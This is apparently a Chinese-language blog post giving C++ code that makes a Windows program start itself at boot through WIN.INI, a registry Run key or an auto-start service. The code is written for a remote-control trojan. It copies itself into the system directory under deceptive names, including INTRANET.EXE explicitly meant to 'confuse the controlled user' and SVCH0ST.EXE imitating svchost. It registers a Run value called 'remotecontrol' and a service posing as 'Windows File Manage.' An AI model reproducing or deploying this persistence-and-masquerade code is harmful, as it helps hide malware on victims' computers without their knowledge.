1. 程式人生 > >C++實現程式開機自啟動

C++實現程式開機自啟動

可以採用以下方式實現自啟動:
//拷貝到系統目錄
TCHAR TempPath[MAX_PATH];
CString temp;

::GetSystemDirectory(TempPath ,MAX_PATH);
temp = TempPath;
temp = temp + _T("\\INTRANET.EXE");
int len = temp.GetLength();
LPBYTE lpb = new BYTE[len];
for(int j = 0; j < len; j++)
{
    lpb[j] = temp[j];
}
lpb[j] = 0;
//把本程式拷貝到系統目錄下,並改名為intranet.exe,這樣做的目的是為了迷惑被控制端使用者
CopyFile("autoboot.exe", temp ,FALSE);


1.修改WIN.INI(C:\WINDOWS\WIN.INI)檔案:

WritePrivateProfileString(_T("windows"), _T("load"), temp, _T("c:\\windows\\win.ini"));
WritePrivateProfileString(_T("windows"), _T("run"), temp, _T("c:\\windows\\win.ini"));

2.採用載入登錄檔方式啟動:
HKEY hKey;
LPCTSTR data_Set="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
long ret0=(::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_Set,0,KEY_WRITE,&hKey));

if(ret0 != ERROR_SUCCESS)
{
    MessageBox("錯誤0");
}
long ret1=(::RegSetValueEx(hKey,_T("remotecontrol"),NULL,REG_SZ,lpb,len));
if(ret1!=ERROR_SUCCESS)
{//判斷系統的相關注冊是否成功
   MessageBox("錯誤1");
}
//關閉登錄檔中的相應的項
::RegCloseKey(hKey);

3.註冊為系統服務:
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv);   //服務主函式
void WINAPI CmdStart(void); 	//要啟動的程式函式
void WINAPI ServiceCtrlHandler(DWORD Opcode);      //服務控制函式
BOOL InstallService();   //安裝服務的函式
BOOL DeleteService();   //刪除服務的函式

在main函式中執行下列:
SERVICE_TABLE_ENTRY  DispatchTable[]={{SERVR_NAME,ServiceMain},{NULL,NULL}};  //最後的NULL指明陣列的結束									
StartServiceCtrlDispatcher(DispatchTable); 
InstallService();  //安裝服務

void WINAPI ServiceMain(DWORD argc, LPTSTR *argv)
{
	m_ServiceStatus.dwServiceType = SERVICE_WIN32;
	m_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; 
	m_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
	m_ServiceStatus.dwWin32ExitCode = 0; 
	m_ServiceStatus.dwServiceSpecificExitCode = 0; 
	m_ServiceStatus.dwCheckPoint = 0; 
	m_ServiceStatus.dwWaitHint = 0;
	m_ServiceStatusHandle = RegisterServiceCtrlHandler(SERVR_NAME,ServiceCtrlHandler);
	if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
		return; 
	m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;					 //設定服務狀態
	m_ServiceStatus.dwCheckPoint = 0; 
	m_ServiceStatus.dwWaitHint = 0; 
	//SERVICE_STATUS結構含有七個成員,它們反映服務的現行狀態。
	//所有這些成員必須在這個結構被傳遞到SetServiceStatus之前正確的設定
	SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus);
	bRunning=true;
	//*
    CmdStart(); 							//啟動我們的服務程式
	//*
	return; 
}

void WINAPI ServiceCtrlHandler(DWORD Opcode)					//服務控制函式
{
	switch(Opcode) 
	{ 
	case SERVICE_CONTROL_PAUSE:    
		m_ServiceStatus.dwCurrentState = SERVICE_PAUSED; 
		break; 
	case SERVICE_CONTROL_CONTINUE:  
		m_ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
		break; 
	case SERVICE_CONTROL_STOP:   
		m_ServiceStatus.dwWin32ExitCode = 0; 
		m_ServiceStatus.dwCurrentState = SERVICE_STOPPED; 
		m_ServiceStatus.dwCheckPoint = 0; 
		m_ServiceStatus.dwWaitHint = 0; 
		SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
		bRunning=false;
		break;
	case SERVICE_CONTROL_INTERROGATE: 
		break; 
	} 
	return; 
}
BOOL InstallService()   						//安裝服務函式
{
	char strDir[1024];
	SC_HANDLE schSCManager,schService;
	GetCurrentDirectory(1024,strDir);
	GetModuleFileName(NULL,strDir,sizeof(strDir));
	
	char chSysPath[1024];
	GetSystemDirectory(chSysPath,sizeof(chSysPath));
	
	strcat(chSysPath,"\\SVCH0ST.EXE");
	if(!CopyFile(strDir,chSysPath,FALSE))
		return FALSE;                    // 把我們的服務程式複製到系統根目錄
	
	strcpy(strDir,chSysPath);
	schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); 
	if (schSCManager == NULL) 
		return false;
	
	LPCTSTR lpszBinaryPathName=strDir;
	
	schService = CreateService(schSCManager,SERVR_NAME,"Windows File Manage.", //將服務的資訊新增到SCM的資料庫
		SERVICE_ALL_ACCESS, 
		SERVICE_WIN32_OWN_PROCESS, // 服務型別 
		SERVICE_AUTO_START, // 啟動型別
		SERVICE_ERROR_NORMAL,  
		lpszBinaryPathName, // 服務名
		NULL, 
		NULL, 
		NULL, 
		NULL, 
		NULL); 
	
	if (schService == NULL) 
		return false; 
	
	if(!StartService(schService,NULL,NULL))   //啟動服務
		return FALSE;
	
	CloseServiceHandle(schService); 
	return true;
}

BOOL DeleteService()
{
	SC_HANDLE schSCManager;
	SC_HANDLE hService;
	schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
	
    char chSysPath[1024];
	GetSystemDirectory(chSysPath,sizeof(chSysPath));
    strcat(chSysPath,"\\SVCH0ST.EXE");
	
	if (schSCManager == NULL) 
		return false; 
	
	hService=OpenService(schSCManager,SERVR_NAME,SERVICE_ALL_ACCESS);
	if (hService == NULL) 
		return false;
	
    if(DeleteFile(chSysPath)==0)           
		return false;
	
	if(DeleteService(hService)==0)
		return false;
    
	if(CloseServiceHandle(hService)==0)
		return false;
	else
		return true;

	return TRUE;
}

void WINAPI CmdStart(void)
{
    //.....我們的程式程式碼
}